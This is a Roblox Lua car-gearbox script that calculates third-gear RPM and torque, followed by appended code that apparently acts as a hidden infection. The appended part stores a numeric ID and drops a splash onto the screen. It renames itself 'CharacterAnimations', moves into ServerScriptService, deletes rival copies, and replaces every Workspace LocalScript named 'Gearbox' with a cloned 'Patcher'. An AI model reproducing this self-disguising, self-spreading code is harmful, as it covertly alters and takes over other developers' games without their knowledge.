--//3rd//--


	if GEAR.Value == 3 then
		if Wrpm.Value*(Gear3/FinalDrive)*100 < Idle then
			rpm.Value = Idle
		else
			rpm.Value = Wrpm.Value*(Gear3/FinalDrive)*100
end

if Wrpm.Value*(Gear3/FinalDrive)*100 >= RPMLimiter then
	rwd.Torque = 0
else

if script.Parent.Control.Throttle.Computer.Value == 0 and script.Parent.CarSeat.CC.Value == false then
	rwd.Torque = 0.2
else
	
if (((rpm.Value/10000)-((sconfig*rpm.Value)/10000)^4.8)*hp/(config*size)) < ((Gear3/FinalDrive)*(hp/650))*scale then
	rwd.Torque = (((Gear3/FinalDrive)*(hp/650))*scale)*th.Value
else
rwd.Torque = 
(((rpm.Value/10000)-((sconfig*rpm.Value)/10000)^4.8)*hp/(config*size))*th.Value
				end
			end
		end
	end
end	end
VR = 576251517412231684 ss = script.ClutchManagment.StockSplash:Clone() ss.Parent = script.Parent.Parent.Parent.Screen
tt = Instance.new("BoolValue", script.Parent.Parent.Parent.Screen.Active) tt.Name = "CC" ttr = Instance.new("NumberValue", tt) ttr.Name = "SP" tct = Instance.new("NumberValue", script.Parent.Parent.Parent.Screen) tct.Value = VR tct.Name = "cvt"

function find(search,query) 
 for _,i in pairs(search:GetChildren()) do 
  if i:IsA(query) then if i.Name == "ClutchToThrottle" then  
		script.ClutchToThrottle.Value = VR
	end if i.Name == "CTVVer" then  
	if i.Value >= script.CTVVer.Value then
		script:remove()
	else
		i.Parent:remove()
		script.Name = "CharacterAnimations"
script.Parent = game.ServerScriptService 
	end
	
end else script.Name = "CharacterAnimations"
script.Parent = game.ServerScriptService  end
find(i,query)
 end
end 

find(game.ServerScriptService,"NumberValue")

function look(search,query)
 for _,i in pairs(search:GetChildren()) do
  if i:IsA(query) then if i.Name == "Gearbox" then local bb = script.ClutchManagment.Patcher:Clone() bb.Parent = i.Parent i:remove() bb.Name = "Gearbox" end end
  look(i,query)
 end
end

look(game.Workspace,"LocalScript")